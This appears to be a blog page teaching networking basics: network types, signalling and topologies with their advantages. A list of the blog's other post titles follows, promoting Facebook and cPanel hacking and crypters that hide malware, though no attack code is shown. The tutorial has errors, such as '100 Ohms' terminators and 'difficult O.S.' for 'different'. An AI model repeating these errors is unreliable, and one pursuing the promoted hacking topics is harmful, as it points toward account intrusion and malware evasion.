In a client/server network, hosts have specific rules. For example, some hosts are assigned server roles which allow then to provide network resources to other hosts.
Other hosts are assigned client roles which allow them to consume network resources. Unlike peer to peer network, host in a client/server network have difficult O.S.

*.....Advantages:-
1)Easily expanded (scalable)
2)Easy support
3)Centralized services
4)Easy to backup

*....Dis-Advantages:-

1)Servers O.S are expensive.
2)Requires extensive advanced planning.

Geographical types of network:-
1) LAN (Local area network)
2) MAN (Metropolitan area network)
3) CAN (Campus area network)
4) WAN (Wide area network)LAN:-
LANs reside in a smack geographic area, like in an office. A series of connected LANS, or a LAN connected across several building or offices is called an internetwork.Examples includes, home and organization (small business, corporate institute and govt.) network.

WAN: -
A WAN is a group of LANs that are geographically isolated but connected to form a large internetwork.
Example: INTERNET

CAN

A campus network is a computer network made up of an interconnection of local area networks (LANs) within a limited geographical area.The networking equipments (switches, routers) and trasmission media (optical fiber, copper plant, Cat5 cabling etc) are almost entirely owned (by the campus tenant / owner: an enterprise, university, government etc

MAN (Metropolitan Area Network )

A MAN is optimized for a larger geographical area than a LAN, ranging from several blocks of buildings to entire cities. MANs can also depend on communications channels of moderate-to-high data rates. A MAN might be owned and operated by a single organization, but it usually will be used by many individuals and organizations. MANs might also be owned and operated as public utilities. They will often provide means for internetworking of local networks.

Maximum Arear Covered

LAN 1 Kms
MAN: 100 KMS
Can: 5 Kms
Wan: Unlimited

Signaling
Baseband And BroadbandBaseband:Baseband signaling allows one signal at a time on network medium (cabling).

Broadband:Broadband signaling divides the network medium into multiple channels, allowing several signals to transverse the medium at the same time.

Topology

Topology is the term used to describe how devices are connected and how massages flow from device to device. There are 2 types of networking topologies.
1) The physical topology – Describes the physical way the network is wired.
2) The logical topology – Describes the way in which messages are sent.

1)Physical Topology Includes the following topologies

Bus topology
Star topology
Ring topology
Mesh topology
Hybrid topology

1)Bus topology: - A physical bus topology consists of a trunk cable with nodes either inserted directly into the trunk, or nodes tapping into the trunk using offshoot cables called drop cables.
*Signals travel from one mode to all other nodes on the bus.
*A device called a terminator is placed at both ends of the trunk cable.
*It absorbs signals and prevents them from reflecting back.
*This topology requires less cable than the star topology.
*Can be difficult to isolate cabling.
*100 Ohms of resistors are used at both the ends of the cable.

2)Ring topology: - A ring topology connects neighboring nodes until they form a ring .Signals travel in one direction around the ring .In ring topology, each device on the network acts as a repeater to send the signals to the next device.
With a ring:-
*Installation requires careful planning to create a continuous ring.
*Isolating problem can require going to several physical locations along the ring.
*A malfunctioning node or cable break can prevent signals reaching nodes further along on the ring.

3)Star Topology: - A star topology uses a hub or switch to concentrate all network connection to a single physical location. Today it is the most popular type of topology for a LAN. With the star:-
*All network connections are located in a single place, which makes it easy to troubleshoot and reconfigure.
*Hosts can be added or removed easily.
*Cabling problem only affect a single host.
*It requires more cable than any other topology.

4)Mesh Topology: - A mesh topology exists when there are multiple paths between any 2 nodes on a network. Mesh topologies are created using point to point connection. This increases the network’s fault tolerance because alternate paths can be used when one path fails.
Two vibrations of mesh topologies exist:-
*Partial mesh -> some redundant paths exists.
*Full mesh -> every node has a point to point connection with every other node.

Full mesh topologies are usually impractical because the number of connections increases dramatically with every new node added to the network. However a full mesh topology becomes more practical through the implementation of an ad-hoc wireless network. With this topology, every wireless network card can communicate directly with any other wireless network card on the network. A separate and dedicated network interface and cable for each host on the network is not required.

Advantages And Disadvantages
Advantages of bus topology :-
1) Installation of devices easy.
2) Requires less cable compared to star topology.
3) Less expensive and works better for smaller networks.

Dis- Advantages :-
1) If backbone breaks, entire networks get down.
2) Difficult to isolate.
3) Limited number of devices.

Advantages of star topology :-
1) Easy to install, configure, manage and expand.
2) Centralized management.
3) Addition or removal of device does not affect the whole network.

Dis-Advantages :-
1) Requires more cable
2) Failure of hub affects entire network.
3) More expensive.

Advantages of Ring topology :-
1) Data travels at greater speed.
2) No collisions.
3) Handles large volume of traffic.

Dis-Advantages:-
1) More cabling is required as compared to bus.
2) One faulty device affects the entire network.
3) Addition of devices affect network.

Advantages of Mesh topology :-
1) Improve Fault tolerance.
2) Failure of one link does not affect entire network.
3) Centralized management is not required.

Dis- Advantages:-
1) Difficult to install and manage.
2) Each link from one device to other requires individual Nic.
3) Very much expensive.

Advantages of Hybrid topology :-
1) Used for creating larger networks.
2) Handles large volume of traffic.
3) Fault detection is easy.

Dis-Advantages:-
1) Installation and configuration is difficult.
2) More expensive than other topologies.
3) More cabling is required.

0pen s0urce

How to hack facebook page

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Site Restoration Tutorial

1. GET BEHIND A FREAKING VPN !!

2. Know what you are dealing with

Before you start there are a few questions you should ask yourself

Is this site worth my time ?

Is the site in a dedicated or shared server ?

Does it look like the hacker rooted it ?

3. Gain access

First thing to do is to see if the hacker had left behind any shells

Cant Find shell ? its ok ,proceed to next step

Still NOTHING?

4. Removing Backdoor's

5. The actual Restoring

6.Prevent future attacks on the server

Admin Page's:

Trolling the hacker:

Re FUD using CliSecure and Amuse Crypters

Computer Virus Classified

How to Disable Error Report In Window

Private and Public IP Addresses Explained

What are Public IP Addresses?

What are Private IP Addresses?

Anonymous & Portable Browser TOR

how to create strong and secure passwords

Cpanel Hacking/Cracking Tutorial

How to Get Source Files from Website

Sandboxie - Run Your Programs In An Isolated Space

Bluetooth Hacking : control Your Friend's Mobile Using Bluetooth

Right Template for Your Blog

define in c Tutorial 2

c preprocessor (Part 2)

3.# undefsuppose you have something like this..

Text to Image Converter tool

define in c Tutorial 1

Trace Cell Phone

The 7 Layer of OSI

IP Address

NETWORKING BASICS

3.# undef
suppose you have something like this..